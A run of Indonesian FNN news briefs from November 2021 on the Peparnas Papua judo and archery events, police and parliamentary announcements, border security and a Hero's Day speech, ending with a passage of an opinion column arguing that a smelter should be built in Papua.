Nuh Ketua. (MD)

Jadwal Peparnas Judo Tunanetra Kamis - Empat Kelas Dipertandingkan

Jayapura, FNN - Pekan Paralimpik Nasional (Peparnas) cabang olahraga judo tunanetra akan memasuki hari keempat pada Kamis (11/11) di GOR Trikora Uncen, Jayapura dan ada empat nomor yang dipertandingkan. Rangkaian gelaran Peparnas cabang olahraga judo tunanetra ini pertama-tama akan dimulai dengan timbang berat badan acak pada 08.00 hingga 08.45 WIT. Selanjutnya, akan ada pertandingan babak penyisihan dan semi final putra kelas -90kg dan +90kg serta putri kelas -70kg dan +70kg yang dimulai pada pukul 09.00 hingga 12.00 WIT. Pertandingan final yang memperebutkan medali selanjutnya akan digelar pada pukul 13.30 hingga 17.00 WIT untuk semua kelas yang dipertandingkan pada hari tersebut dan dilanjutkan dengan upacara penghargaan pemenang. Tiga kelompok akan diperbolehkan untuk mengikuti cabang olahraga judo tunanetra yang dipertandingkan pada Pekan Paralimpik Nasional (Peparnas) Papua XVI, yang sudah mulai dipertandingkan pada Senin (8/11). Mengutip Technical Handbook Peparnas XVI, Kamis, pada cabang olahraga judo tunanetra, ketiga kelompok yang diperbolehkan bertanding, yakni atlet yang menderita gangguan penglihatan B1, B2 dan B3. Pada cabang olahraga judo tunanetra, terdapat setidaknya 20 nomor pertandingan untuk putra dan putri yang akan memperebutkan total 112 medali dengan rincian 28 emas, 28 perak dan 56 perunggu. Berikut jadwal lengkap Peparnas cabang olahraga judo tunanetra, Kamis (11/11): Putra -90Kg Kahfi Ali Akbar Pasaribu (Kepulauan Riau) vs Dhedy Setiawan (Kalimantan Selatan) Hendrikus Lokobal (Papua) vs Selamat Juanda (Sumatera Utara) Putra +90kg Evardus Tedyanto Mente (Papua) vs Firmansyah Khairul (Sumatera Barat) Imam Al Farouk (Kalimantan Selatan) vs Rizky Budiman (Jawa Barat) Evardus Tedyanto Mente (Papua) vs Imam Al Farouk (Kalimantan Selatan Firmansyah Khairul (Sumatera Barat) vs Rizky Budiman (Jawa Barat) Evardus Tedyanto Mente (Papua) vs Rizky Budiman (Jawa Barat) Firmansyah Khairul (Sumatera Barat) vs Imam Al Farouk (Kalimantan Selatan) Putri -70kg Maemunah (Papua) vs Annisa Anindya (Kalimantan Selatan) Putri +70kg Yulianan Manca Keyn (Jawa Timur) vs Disiana Bin Syarifudin (Papua) Maria Cindy Leonita (DKI Jakarta) vs Roma Siska (Riau) Yuliana Manca Keyn (Jawa Timur) vs Maria Cindy Leonita (DKI Jakarta) Disiana Bin Syarifudin (Papua) vs Roma Siska (Riau) Yuliana Manca Keyn (Jawa Timur) vs Roma Siska (Riau) Disiana Bin Syarifudin (Papua) vs Maria Cindy Leonita (DKI Jakarta). (sws)

Anggota DPR Ingatkan Pemda Proaktif Antisipasi Potensi Bencana

Jakarta, FNN - Wakil Ketua Komisi II DPR, Junimart Girsang, mengingatkan Pemerintah Daerah melalui Badan Penanggulangan Bencana Daerah (BPBD) masing-masing, bertindak secara proaktif, maksimal dan antisipatif terhadap potensi bencana alam. "Musim penghujan itu adalah siklus tahunan yang senantiasa berulang. Sejumlah kejadian, dampak ikutan dari musim tersebut khususnya yang destruktif misal banjir, tanah longsor seharusnya sudah bisa diantisipasi berdasar pengalaman," ujar dia, dalam keterangan tertulis yang diterima di Jakarta, Rabu. Menurut Girsang, pencegahan sedini mungkin diperlukan sebagai upaya menekan jatuhnya korban jiwa yang diakibatkan oleh bencana alam. Upaya penanganan yang tepat perlu dilakukan jajaran Pemda, berkaca dari pengalaman penanggulangan bencana alam di daerah masing-masing. Politisi PDI Perjuangan itu menekankan, pemerintah daerah mesti mengantisipasi potensi bencana dengan langkah konkrit. Tujuannya agar musibah seperti banjir yang kerap terjadi di musim hujan tidak boleh berulang dan menyengsarakan rakyat tanpa kecuali. "Ini tanggung jawab pemerintah daerah dan tidak boleh abai. Sebagaimana tertuang pada UU 24/2007 tentang Penanggulangan Bencana, rakyat harus dilindungi dan diselamatkan," tegas politisi kelahiran Kabupaten Dairi, Sumatera Utara, itu. Ia menyatakan, BPBD menjadi kunci utama dalam menentukan suksesnya mitigasi yang dilakukan oleh Pemda terhadap bencana alam. "Upaya ini tidak bisa dilakukan mendadak, harus kerja keras dengan pola manajemen darurat serta sudah melakukan pemetaan, mengerahkan seluruh potensi daerah dengan melibatkan unsur forum koordinasi pimpinan daerah (Forkopimda)," katanya. (sws)

Bareskrim Polri Terbitkan SP3 untuk Kasus Sadikin Aksa

Jakarta, FNN - Direktorat Tindak Pidana Ekonomi dan Khusus, Bareskrim Kepolisian Indonesia menerbitkan Surat Penghentian Penyidikan (SP3) tindak pidana perbankan dengan tersangka Direktur Utama PT Bosowa Corporindo, Sadikin Aksa. Pengacara Aksa, Agus Salim, membenarkan penerbitan surat penghentian penyidikan tersebut. Ia mengatakan, alasan terbitnya penghentian penyidikan lantaran kurangnya bukti. "Sudah terbit SP3 terkait laporan dugaan tindak pidana dengan sengaja mengabaikan perintah tertulis OJK. Alasan penghentian penyidikan dikarenakan kurang cukup bukti," kata Salim dalam keterangan tertulis di Jakarta, Rabu. Ia berharap, agar dengan diterbitkanya surat SP3 itu kliennya, Aksa, yang juga keponakan mantan Wakil Presiden, Jusuf Kalla, dapat kembali berkegiatan dengan baik tanpa ada beban. Selain itu, untuk Bosowa sebagai intentitas badan usaha akan lebih konsentrasi lagi dalam menjalankan usaha termasuk kerjasama dengan berbagai pihak. SP3 itu berdasarkan ketetapan Dirtipideksus Nomor: S.Tap/207/IX/RES.1.24./2021/Dittipideksus tanggal 15 September 2021 tentang Penerbitan SP3 itu sendiri ditandatangani oleh Direktur Tindak Pidana Ekonomi Khusus Bareskrim Kepolisian Indonesia, Brigadir Jenderal Helmy Santika. Surat itu ditembuskan kepada kepala Bareskrim Kepolisian Indonesia, kepala Biro Pembinaan Operasi Bareskrim Kepolisian Indonesia, kepala Biro Pengawas Penyidikan Bareskrim Kepolisian Indonesia, dan Mangarade Perdamean Sirait selaku telapor. Sebelumnya, Aksa yang merupakan keponakan dari Kalla, ditetapkan sebagai tersangka setelah penyidik melakukan gelar perkara dia dalam kasus Bank Bukopin. Sejak Mei 2018, PT Bank Bukopin Tbk. berstatus bank dalam pengawasan intensif oleh OJK karena mengalami permasalahan likuiditas. Kondisi bank tersebut semakin buruk sejak Januari hingga Juli 2020. Dalam rangka penyelamatan Bank Bukopin, OJK mengeluarkan kebijakan, di antaranya memberikan perintah tertulis kepada Direktur PT Bosowa Corporindo, yakni Sadikin Aksa melalui surat OJK nomor: SR-28/D.03/2020, yang terbit 9 Juli 2020. (sws)

KSP Dorong Penguatan Satgas Pengamanan Batas RI-Malaysia di Kalbar

Jakarta, FNN - Kantor Staf Kepresidenan (KSP) mendorong penguatan Satuan Tugas Pengamanan Perbatasan di sepanjang 976 kilometer perbatasan darat Indonesia dan Malaysia di Provinsi Kalimantan Barat. Tenaga Ahli Utama KSP, Ade Irfan Pulungan, melalui keterangan tertulis diterima di Jakarta, Rabu, mengatakan, KSP menyayangkan maraknya eksploitasi sumber daya alam, perpindahan orang secara ilegal, dan bahkan transaksi narkotika yang terjadi di "jalur-jalur tikus” perbatasan negara. Hal tersebut menimbulkan kerugian besar bagi negara. “KSP mendorong penguatan pengamanan di jalur ilegal untuk mencegah penyebaran Covid-19, serta tindak pidana lintas batas negara seperti pencucian uang, narkoba dan human trafficking (perdagangan manusia). KSP akan membawa masalah ini dalam forum rapat koordinasi antar kementerian/lembaga terkait,” kata Irfan saat melakukan audiensi dengan Forum Komunikasi Pimpinan Daerah Kalimantan Barat, Rabu. Tim tenaga profesional dari KSP melakukan kunjungan ke Kalimantan Barat untuk memverifikasi upaya-upaya di lapangan guna memulihkan ekonomi, termasuk di kawasan perbatasan. Dalam pertemuannya dengan tim KSP, Kepala Kelompok Staf Ahli Panglima Kodam XII/Tanjungpura, Brigadir Jenderal TNI Handoko Nurseta, melaporkan ditemukan 98 jalan tikus di sepanjang perbatasan darat Kalimantan Barat wilayah Indonesia dan Malaysia. Menurut Nurseta, sepanjang 400 kilometer wilayah perbatasan yang beririsan dengan wilayah Kementerian Lingkungan Hidup dan Kehutanan menjadi blank area yang tidak dijaga Satgas Pamtas, karena menjadi wilayah penjagaan oleh polisi hutan. Namun, ironisnya wilayah tersebut marak dijadikan jalur untuk memasok kayu dari hutan Indonesia ke Malaysia secara ilegal. Pelaku penyelundupan kayu tersebut memanfaatkan terbatasnya jumlah personil dan fungsi polisi hutan. Oleh karena itu, penguatan Satgas Pamtas menjadi hal krusial untuk meningkatkan penjagaan perbatasan. “Kita tahu bahwa jumlah personil dan fungsi polisi hutan masih sangat terbatas. Oleh karenanya, sangat perlu bagi pemerintah untuk menambah satgas pamtas dari kesatuan TNI untuk mengamankan wilayah blank area tersebut,” kata Gubernur Kalimantan Barat, Sutarmidji, di kesempatan yang sama. (sws)

Kadiv Humas Pastikan Layanan Informasi Polri Terbuka 24 Jam

Jakarta, FNN - Kepala Divisi Humas Polri Irjen Pol Dedi Prasetyo memastikan layanan informasi Polri terbuka 24 jam untuk publik. Irjen Dedi yang sebelumnya menjabat sebagai Kapolda Kalimantan Tengah itu mengatakan media adalah mitra utama dan strategis dari Divisi Humas Polri. "Selain komunikasi akan terus kita tingkatkan ditemani oleh Karopenmas dan bisa 24 jam juga melayani rekan-rekan media terkait dengan permasalahan informasi-informasi penting yang segera diinformasikan kepada masyarakat," ujar Dedi kepada awak media di Divisi Humas Polri, Jakarta Selatan, Rabu malam. Sebagai pejabat baru Divisi Humas Polri, Dedi mengaku akan meneruskan menindaklanjuti apa yang telah dibangun oleh Kadiv Humas Polri sebelumnya, yakni terus bermitra dengan media yang membutuhkan informasi apapun tentang kepolisian dan kinerja kepolisian. "Insha Allah saya akan segera menindaklanjuti," ujar Dedi yang menggantikan Irjen Argo Yuwono yang mendapat promosi sebagai Asisten Logistik (Aslog) Kapolri. Dedi sebelumnya pernah menjabat sebagai Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri sehingga mengetahui kebutuhan informasi awak media. Sejalan dengan amanat yang diberikan Kapolri terhadap Divisi Humas agar terus menampilkan kinerja kepolisian kepada masyarakat secara humanis, Dedi mengatakan Polri pada intinya terbuka menerima saran, masukan, kritik dari semua pihak dalam rangka membangun dan memperbaiki kinerja kepolisian. "Agar Polri selalu dekat rakyat, Polri selalu dicintai masyarakat, dan bisa memberikan perlindungan, pengayoman, pelayanan terbaik untuk masyarakat," terang Dedi. Terkait program ke depan, Dedi mengatakan akan meneruskan program yang sudah dijalankan oleh pendahulunya. "Pada prinsipnya karena sudah menjelang akhir tahun, apa yang sudah dikerjakan oleh Pak Argo ini merupakan langkah yang bagus sekali, pada prinsipnya akan melanjutkan," kata Dedi. Sementara itu, Irjen Pol Argo Yuwono yang dimutasi menjadi Aslog Kapolri mengaku akan merindukan kebersamaan dengan rekan-rekan media yang selama ini meliput di Mabes Polri. Argo memiliki pengalaman berkecimpung di bidang humas selama tujuh tahun, yang diawali dengan Kabid Humas Polda Jawa Timur, Polda Metro Jaya, Karo Penmas Divisi Humas Polri, dan terakhir Kadiv Humas Polri. "Saya yakin teman-teman semua nanti bisa kerja sama dengan Pak Dedi, dan pasti lebih baik lagi kerja samanya dengan teman-teman media. Intinya, saya pasti kangen dengan teman semua," tutup Argo. (sws)

Jadwal Panahan: Kholidin Bersua Wakil Tuan Rumah di Final

Jayapura, FNN - Atlet panahan DKI Jakarta Kholidin bakal bersua dengan wakil tuan rumah, Sriyono di final nomor recurve elite putra pada Pekan Paralimpik Nasional (Peparnas) XVI Papua. Berdasarkan jadwal Technical Delegates (TD) Panahan, Rabu, final nomor recurve elite putra digelar pada Kamis (11/11) besok di Arena Panahan, Kampung Harapan, Jayapura. Kholidin pernah berlaga di ajang Thailand Princess Cup-13 pada Juni 2019 dan meraih juara kedua dan juara pertama Kejuaraan Panahan KUAD Open 2019. Kholidin adalah atlet yang masuk kelas elite divisi recurve, bersama Yanatar (Kalimantan Tengah), Abdul hamid (Kalimantan Selatan), Setiawan (Jawa Barat), Robertus Dio Prasetyanto (Jawa Tengah), dan Muh Hidayatul Abror dari DIY. Namun, hanya Kholidin yang lolos final bersama Sriyono dari Papua, sedangkan Robertus Dio akan bertanding dengan Arif Firmansyah memperebutkan medali perunggu. Di kategori putri, Qomariatul Kiptiyah dari Jabar akan bertanding memperebutkan medali emas melawan Sri Hartatik dari Jateng. Sedangkan perebutan medali perunggu antara Mahda Aulia selaku wakil Papua melawan Wahyu Retno Wulandari dari Kalteng. Selain nomor recurve elite, pada hari yang sama juga berlangsung perebutan medali emas pada nomor individual recurve. Cabang olahraga panahan Peparnas Papua diikuti sebanyak 171 atlet panahan dari 18 provinsi yang memperebutkan 30 medali dari empat divisi, yakni recurve, compound, nasional, dan W1. (sws)

Anggota MPR Sampaikan Tagline Baru Lembaga: Menyapa Sahabat Kebangsaan

Jakarta, FNN - Kepala Biro Humas dan Sistem Informasi Sekretariat Jenderal MPR, Siti Fauziah, mengatakan bahwa MPR telah memiliki tagline baru, yaitu “Menyapa Sahabat Kebangsaan” dan meluncurkan Buku Digital MPR yang dapat diunduh di Play Store. “Dengan ungkapan yang demikian (Menyapa Sahabat Kebangsaan), maka MPR menjadikan seluruh insan sebagai sahabat kebangsaan,” kata dia, dalam keterangan yang diterima di Jakarta, Rabu. Sebagai sahabat kebangsaan, tutur ia melanjutkan, tentu apa yang MPR sampaikan dan diskusikan bersama masyarakat adalah nilai-nilai yang bisa memperkuat rasa persatuan dan kesatuan. “Sekarang, kita semua adalah sahabat kebangsaan,” ujar dia. Selain menyampaikan tagline baru MPR, dia juga mengatakan bahwa MPR telah meluncurkan Buku Digital MPR secara resmi dan buku tersebut dapat diunduh di Play Store. Tujuan dari peluncuran buku tersebut adalah untuk mempercepat penyebaran informasi dan komunikasi antara MPR dengan masyarakat sesuai dengan perkembangan jaman. “Biro humas dan sistem informasi, dalam melaksanakan tugas-tugasnya, selalu mengikuti perkembangan zaman. Perkembangan teknologi informasi yang canggih dan modern telah diterapkan MPR,” tutur dia. Pengumuman tagline baru beserta peluncuran Buku Digital MPR merupakan agenda acara dalam puncak Pekan Kehumasan MPR yang telah digelar sejak tanggal 8-11 November 2021. Dalam pekan tersebut, selama beberapa hari, MPR memamerkan foto-foto kegiatan pimpinan dan anggota MPR, serta memamerkan unit Perpustakaan MPR dan PPID. Pada kesempatan yang sama, juga diumumkan pemenang Lomba Karya Jurnalistik dan Lomba Foto Jurnalistik, serta peluncuran novel Meraih Mimpi. “Kami mengucapkan terima kasih kepada semua pihak yang telah mendukung Pekan Kehumasan, sehingga kegiatan ini bisa terselenggara dengan lancar dan sukses,” kata dia. (sws)

Tim Safari Personel TNI AL Sosialisasi Aturan Baru di Lantamal VIII

Manado, FNN - Tim Safari Personel dari Staf Personel TNI AL dan Dinas Administrasi Personel TNI AL melakukan sosialisasi peraturan-peraturan baru serta penyampaian kebijakan-kebijakan pimpinan TNI AL dalam bidang personel di Pangkalan Utama TNI AL VIII/Manado, Rabu. Asisten Personel Kepala Staf TNI AL, Laksamana Muda TNI Irwan Achmadi, dalam sambutan dibacakan Paban II Binteman Spersal, Kolonel Laut (E) Dr Mukhlis, mengatakan bahwa pembinaan personel merupakan penggerak utama dinamika organisasi. Salah satu bentuk pembinaan personel adalah dengan melaksanakan kegiatan safari personel ke berbagai pangkalan utama TNI AL dengan maksud untuk mensosialisasikan aturan baru dan informasi, pengawasan/evaluasi dan analisa pelaksanaan pembinaan personel serta mengetahui permasalahan di satuan bawah. Dari kegiatan safari personel, berharap dapat tercipta komunikasi dua arah, sehingga terjadi kesamaan pola pikir dan pola tindak dalam pembinaan personel. "Selain itu diharapkan dapat mengetahui kondisi di lapangan dan dapat memberikan solusi terhadap permasalahan yang dihadapi oleh satuan," kata Achmadi. Komandan Pangkalan Utama TNI AL VIII/Manado, Brigadir Jenderal TNI (Mar) I Wayan Ariwijaya, dalam sambutan dibacakan Asisten Perencanaan dan Anggaran Komandan Pangkalan Utama TNI AL VIII/Manado, Kolonel Laut (P) Bambang Prayitno, mengucapkan selamat datang kepada Tim Safari Personel dan ucapan terima kasih atas kunjungan di Markas Komando Pangkalan Utama TNI AL VIII/Manado. Komandan Pangkalan Utama TNI AL VIII/Manado juga menyambut baik kegiatan safari personel di lingkungan Lantamal VIII, sebagai tahapan penting dalam upaya mendukung suksesnya program pembinaan personel TNI AL, serta memberikan kesempatan untuk menyampaikan perkembangan kendala atau permasalahan bidang personel sekaligus ditemukan solusinya. "Berharap melalui kegiatan Safari personel ini dapat diketahui kebijakan pembinaan personel TNI AL ke depan dan sekaligus dapat dijabarkan di jajaran Pangkalan Utama TNI AL VIII/Manado, sehingga arah dan tujuan pembinaan dapat berjalan secara optimal," kata Prayitno mengutip sambutan itu. Oleh karena itu Ariwijaya memerintahkan kepada seluruh peserta agar memperhatikan semua arahan, petunjuk dan bimbingan yang disampaikan oleh tim Spersal untuk perbaikan dan kemajuan Pangkalan Utama TNI AL VIII/Manado di masa yang akan datang. Safari Personel yang dilaksanakan tersebut tidak hanya diikuti prajurit dan PNS Markas Komando Pangkalan Utama TNI AL VIII/Manado dan sebagian besar mengikuti melalui konferensi video. Tim Safari Personel yang datang ke Lantamal VIII berjumlah delapan orang terdiri dari enam orang dari Spersal yakni Paban II Binteman Spersal Kolonel Laut (E) Dr. Mukhlis, Letnan Kolonel Laut (KH/W) Eliyah Musarofah, Letnan Kolonel Laut (P) Marvill Marfel, Mayor Laut (K/W) Meta Lontoh, Letnan Dua Laut (S) Wahyu Eko P, Pembina IV/a. Andy Priyoko. Serta dua orang dari Disminpersal yaitu, Kasubdis Sahguna Disminpersal, Kolonel Laut (S/W) Erna Fauziah dan Letkol Laut (KH/W) Risma. (sws)

Gus Yahya Ajak Komponen Bangsa Bangkitkan Rasa Bangga Lahirnya NKRI

Jakarta, FNN - Katib Aam Pengurus Besar Nahdlatul Ulama (PBNU) KH Yahya Cholil Staquf mengajak seluruh komponen bangsa untuk membangkitkan rasa bangga atas lahirnya Negara Kesatuan Republik Indonesia (NKRI). "Proklamasi kemerdekaan, lalu diterjemahkan dalam Pembukaan UUD 1945 oleh para pendiri bangsa, secara gemilang telah menjadi inspirasi bangsa-bangsa lain di dunia untuk mendapatkan kemerdekaan mereka," jelas Gus Yahya dalam keterangan tertulis di Jakarta, Rabu. Mantan juru bicara Presiden Abdurrahman Wahid itu menjelaskan para pendiri bangsa mula-mula meneriakkan mutlaknya membangun tatanan dunia yang baru, yang berkeadilan, satu bangsa hidup setara dengan bangsa lain. Tidak boleh ada lagi penjajahan dalam bentuk apapun. "Sebelum Piagam Perserikatan Bangsa-Bangsa diperkenalkan, bapak pendiri bangsa kita sudah lebih dahulu memformulasikan tentang dunia baru, lewat Pembukaan UUD 1945," jelas kandidat Ketua PBNU itu. Hal itu disampaikan Gus Yahya saat memberikan kuliah umum secara hybrid di Universitas Pertahanan (Unhan), Bogor, Jawa Barat. Kuliah umum itu diikuti oleh semua civitas akademika, mahasiswa S1, S2 dan S3 serta segenap staf pengajar. Saat kuliah umum itu, Gus Yahya berbicara dengan tema "Kontribusi Perjuangan Pahlawan Santri Ditinjau dari Perspektif Sosio-cultural dan Kontekstualisasi Semangat Persatuan dan Rela Berkorban di Era Digital". Gus Yahya menegaskan sejak bangsa Indonesia berhasil lepas dari cengkeraman penjajah, maka bak taburan tunas yang mekar di musim hujan, bangsa-bangsa lain juga melakukan perlawanan, merebut kedaulatan dan menggapai kemerdekaan. "Sangat jelas, para pendiri bangsa kita meneriakkan tentang kemerdekaan adalah hak segala bangsa. Dan karena itu, maka penjajahan di atas dunia harus dihapuskan," kata Mantan anggota Dewan Pertimbangan Presiden Jokowi tersebut. Menurut Gus Yahya, para pendiri bangsa tidak hanya menginginkan Indonesia merdeka, tetapi lebih dari itu adalah seluruh bangsa di dunia harus merdeka dari kolonialisme dan imperialisme. "Cita dan wawasan internasional soal kemerdekaan dan kedaulatan itu, antara lain disuarakan oleh para ulama dan santri pada era itu," kata pengasuh Ponpes Raudlatut Thalibin Rembang. (sws)

Ketua MPR RI Minta Timsel KPU-Bawaslu Perhatikan Survei JPPR

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo (Bamsoet) meminta Tim Seleksi Calon Anggota KPU dan Bawaslu agar memperhatikan hasil survei Jaringan Pendidikan Pemilu untuk Rakyat (JPPR). Ketua MPR RI Bambang Soesatyo dalam keterangannya, di Jakarta, Rabu, menyampaikan respons soal hasil pengecekan Jaringan Pendidikan Pemilu untuk Rakyat (JPPR) terhadap laman pendaftaran Seleksi Calon Anggota KPU dan Bawaslu Periode 2022-2027. Survei tersebut menunjukkan laman pendaftaran yang diperuntukkan bagi kelompok disabilitas dinilai masih kurang ramah. "Meminta Timsel KPU dan Bawaslu untuk memperhatikan hasil survei atau pengecekan oleh JPPR dengan mengevaluasi situs web tersebut dan memperbaiki kekurangan yang ada pada situs tersebut," kata Bamsoet. Hal itu, lanjut dia, mengingat jika situs website timsel masih kurang ramah, maka akan sangat sedikit penyandang disabilitas yang mendaftarkan dirinya sebagai calon anggota KPU atau Bawaslu. Dia meminta agar Timsel KPU dan Bawaslu segera melakukan perbaikan serius terhadap laman tersebut, yakni dengan lebih memperhatikan tingkat aksesibilitas laman pendaftaran agar lebih ramah dan memudahkan bagi calon anggota KPU dan Bawaslu yang ingin mendaftarkan diri khususnya penyandang disabilitas. "Meminta komitmen Timsel KPU dan Bawaslu dalam menjaring lebih banyak calon anggota penyelenggara pemilu dari berbagai kalangan," ujarnya. Bamsoet menilai sudah seharusnya menjaring lebih banyak calon anggota KPU dan Bawaslu sepanjang memenuhi persyaratan yang ditetapkan sesuai dengan peraturan perundang-undangan. (sws)

Ziarah ke Makam Bung Tomo, Anis Matta Ungkap Tiga Makna agar Indonesia Jadi Pemimpin Dunia

Surabaya, FNN - Ketua Umum DPP Partai Gelombang Rakyat Indonesia (Partai Gelora) Anis Matta melakukan ziarah ke Makam Bung Tomo (Dr. Sutomo), Ngagel Rejo, Surabaya, Jawa Timur (Jatim) saat peringatan Hari Pahlawan, Rabu (10/11/2021). Anis Matta datang mengendarai Jeep Willys Tahun 1939 atap terbuka. Di dalam Jeep Anis Matta didampingi Bendahara Umum Ahmad Rilyadi dan Ketua DPW Partai Gelora Jatim Muhammad Sirot. Sementara dibelakangnya, terlihat Sekretaris Jenderal Partai Gelora Indonesia Mahfuz Sidik menggunakan Jeep lainnya. Mahfuz Sidik didampingi Ketua Bidang Pengembangan Teritori (Bangter) III Ahmad Zainuddin dan Ketua Bidang Bangter V DPN Partai Gelora Indonesia Ahmad Faradis. Anis Matta diantar kader Partai Gelora Jatim dari Hotel Mercure, Surabaya menuju TPU Ngagel Rejo dan TMP Surabaya. Anis Matta mendapatkan sambutan meriah, teriakan Allahu Akbar, Shalawat dan Merdeka. Kemudian digelar tahlil dan doa bersama dipimpin oleh ulama setempat. Usai ziarah ke Makam Bung Tomo, Anis Matta kemudian berziarah ke TMP Surabaya yang terletak di sebrang TPU Ngagel Rejo Ziarah ke TMP dan doa bersama ini juga digelar serentak di 34 provinsi oleh DPW Partai Gelora. Dalam sambutannya, Anis Matta mengatakan, ada tiga makna yang membawa Partai Gelora hadir di Makam Bung Tomo pada kesempatan bersejarah ini. "Tiga makna ini yang ingin saya tegaskan pada momentum peringatan Hari Pahlawan 10 November kali ini," katanya. Makna yang pertama adalah makna kesetiaan kepada bangsa dan Tanah Air. Anis mengatakan, para pahlawan yang terbaring di pemakaman itu adalah orang-orang yang telah membayar ongkos kemerdekaan dengan jiwa dan raga mereka. "Seandainya Indonesia adalah pohon, pohon ini tumbuh subur karena disirami dengan darah mereka. Seandainya Indonesia adalah bangunan, bangunan ini menjadi kokoh karena dibuat dari tulang belulang mereka," ujarnya. Itulah sebabnya, lanjut Anis Matta, mengapa Partai Gelora mengajak seluruh Bangsa Indonesia untuk membuat satu cita-cita nasional baru membawa Indonesia menjadi lima besar dunia. "Karena itu adalah cara mewarisi dan melaksanakan amanah perjuangan yang telah mereka wariskan kepada kita semuanya. Dan itulah makna amanat yang termaktub dalam konstitusi kita bahwa kita harus membawa Indonesia untuk ikut serta melakukan ketertiban dunia," orasinya berapi-api. Anis Matta juga mengingatkan agar jangan pernah mengkhianati amanat dari para pendiri bangsa apalagi di tengah situasi konflik geopolitik saat ini. "Jadi penting pada hari ini kita menegaskan makna kesetiaan kepada tanah tumpah darah kita, kepada bangsa kita dan kesetiaan kita untuk terus membawa amanat perjuangan para pendiri bangsa dan pahlawan kita. Jangan pernah mengkhianati," tegasnya. Kemudian makna yang kedua adalah bahwa kepahlawanan itu adalah sikap dan karakter. Dia mengungkapkan, tidak semua yang pergi berjuang bersama Bung Tomo pada 10 November 1945 mati syahid pada waktu itu. Termasuk Bung Tomo sendiri tidak syahid pada saat pertempuran. Akan tetapi Bung Tomo adalah perwakilan dari seluruh generasinya, dari seluruh orang yang berjuang bersama untuk menegaskan satu makna bahwa kemerdekaan itu tidak diberikan sebagai hadiah melainkan direbut dan dipertahankan. "Ada jauh lebih banyak nama di pemakaman ini yang kita tidak kenal namanya dan ada banyak nama yang mungkin tidak dimakamkan di pemakaman ini. Tapi mereka semuanya adalah pahlawan," tandasnya. "Mereka semuanya memberikan jiwa dan raganya dan untuk makna itulah saudara-saudara sekalian, kita menghadirkan kembali makna yang abadi dari kepahlawanan adalah memberi. Memberi apa saja yang bisa kita berikan. Kita berikan tenaga kita, pikiran kita, waktu kita, harta kita, nyawa kita untuk tujuan yang suci. Memberi tanpa henti, itulah makna kepahlawanan," tambah Anis Matta. Dia juga menyebutkan, Bung Tomo tidak wafat di Surabaya. Namun beliau wafat di Arafah. Berpuluh-puluh tahun setelah berada dalam satu pertempuran bersama para pejuang yang sahid. "Berapa orang yang wafat, yang sahid pada peristiwa 10 November, kita tidak pernah tahu persis. Tapi makna memberi ini yang ingin kita tegaskan. Apalagi ketika sekarang ini kita sedang menghadapi krisis. Saat krisis seperti ini kita perlu menghadirkan kembali nilai-nilai kepahlawanan yang abadi yaitu memberi tanpa henti," katanya mengingatkan. Kemudian makna ketiga adalah makna paling penting. Anis mengatakan, Bung Tomo pada dasarnya bukanlah seorang tentara. Bung Tomo adalah seorang jurnalis. Namun Bung Tomo telah mengambil alih momentum 10 November untuk menyebarkan semangat perlawanan mempertahankan kemerdekaan melawan pasukan sekutu. "Garis bawahi kalimat ini. Mengambil alih. Tidak peduli apa latar belakang beliau. Beliau sekali lagi adalah seorang jurnalis. Tapi beliau mengambil alih momentum dalam situasi yang sangat kritis," ujarnya. Tanggal 10 November 1945 menjadi momentum bersejarah karena Indonesia menyatakan diri sebagai bangsa merdeka dan tidak akan pernah kembali sebagai bangsa yang dijajah. "Karena itu slogannya pada waktu itu, Allahu Akbar! Sekali merdeka tetap merdeka. Mereka mengambil alih momentum itu, momentum perlawanan untuk tidak pernah kembali. Semangat merebut momentum itulah yang sekarang ingin kita hidupkan kembali," ucap Anis Matta. Ketiga makna itulah yang ingin ia gelorakan kembali terutama di saat krisis akibat pandemi yang tak berujung. Kala dunia sedang berada dalam goncangan besar dan hanya bangsa-bangsa yang berani mengambil momentum dalam situasi ini. "Makna merebut momentum itulah yang ingin kita warisi dari Bung Tomo," imbuhnya. Ketua Umum Partai Gelora juga berharap ruh perjuangan Bung Tomo bisa hidup kembali dalam jiwa rakyat Indonesia. Ia menyatakan, kalau dulu dari Kota Surabaya mereka menyatakan satu tekad sekali merdeka tetap merdeka, sekarang waktunya kita menyatakan satu tekad baru. "Bahwa kita sudah merdeka, kita sudah mempertahankan kemerdekaan kita. Ini waktunya Indonesia merebut momentum untuk menjadi bagian dari kepemimpinan dunia," pungkas Anis Matta. (sah)

Smelter di Jawa Timur: Tirani Mengkristal

Oleh: Marthen Goo Kita dikagetkan dengan pernyataan Presiden soal Smelter dibangun di Jawa Timur. Tentu hal itu mengganggu ketenangan orang Papua karena bukan dibangun di Papua tapi justru dibangun di Jawa Timur. Sementara, semangat lahirnya desentralisasi didasarkan pada penghapusan pembangunan yang sentralistik. Nilai keragaman di Indonesia berusaha dirajut melalui semangat Kebhinekaan. Sudah sekian lama pembangunan bersifat sentralistik dan hal itu ditentang, hari ini smelter akan dibangun di Jawa Timur. Mestinya Pemerintah Pusat harus berpikir bagimana asas manfaat bagi orang Papua, dan logikanya, smelter harus dibangun di Papua. Papua harus dilihat dalam asas kebhinekaan dan semangat mewujudkan tujuan nasional. Pasal 25 UUD’45 jelas menyebutkan bahwa “Negara Kesatuan Republik Indonesia adalah sebuah negara kepulauan yang berciri Nusantara dengan wilayah dan batas-batas dan hak-haknya ditetapkan dengan undang-undang” . Artinya bahwa pembangunan Smelter itu tidak perlu di Jawa Timur. Cukup dibangun di Papua dengan asas kebhinekaan (dibangun di daerah yang SDAnya diambil). Cara Melihat Smelter Secara Subtansial Smelter harus dilihat secara menyeluruh bahwa memiliki beberapa fungsi, yaitu (1) fungsi pendapatan daerah; (2) fungsi penyerapan tenaga kerja; (3) fungsi pasar seperti penghidupan pangan lokal dan hal lainnya; (4) fungsi ekonomi mikro seperti pendapatan kos-kos bagi pencari kerja. Fungsi pasar dapat dilihat dengan kebutuhan pangan yang besar, dan akan memberikan pendapatan bagi petani. Begitu juga tempat tinggal. Empat fungsi besar itu tentu akan membantu meningkatkan perekonomian dan kemajuan di Jawa Timur. Terus Posisi Papua dapat apa? Mestinya pemerintah harus membangun ekonomi di Papua dengan membuat smelter di Papua. Tindakan ini makin memupuk distrust (ketidak-percayaan), dan patut diduga adanya kebijakan yang memberikan gambaran adanya tirani dan dugaan rasisme . Ini juga sangat bertentangan sekali dengan pasal 27 ayat (2) UUD’45, “Tiap-tiap warga negara berhak atas pekerjaan dan penghidupan yang layak bagi 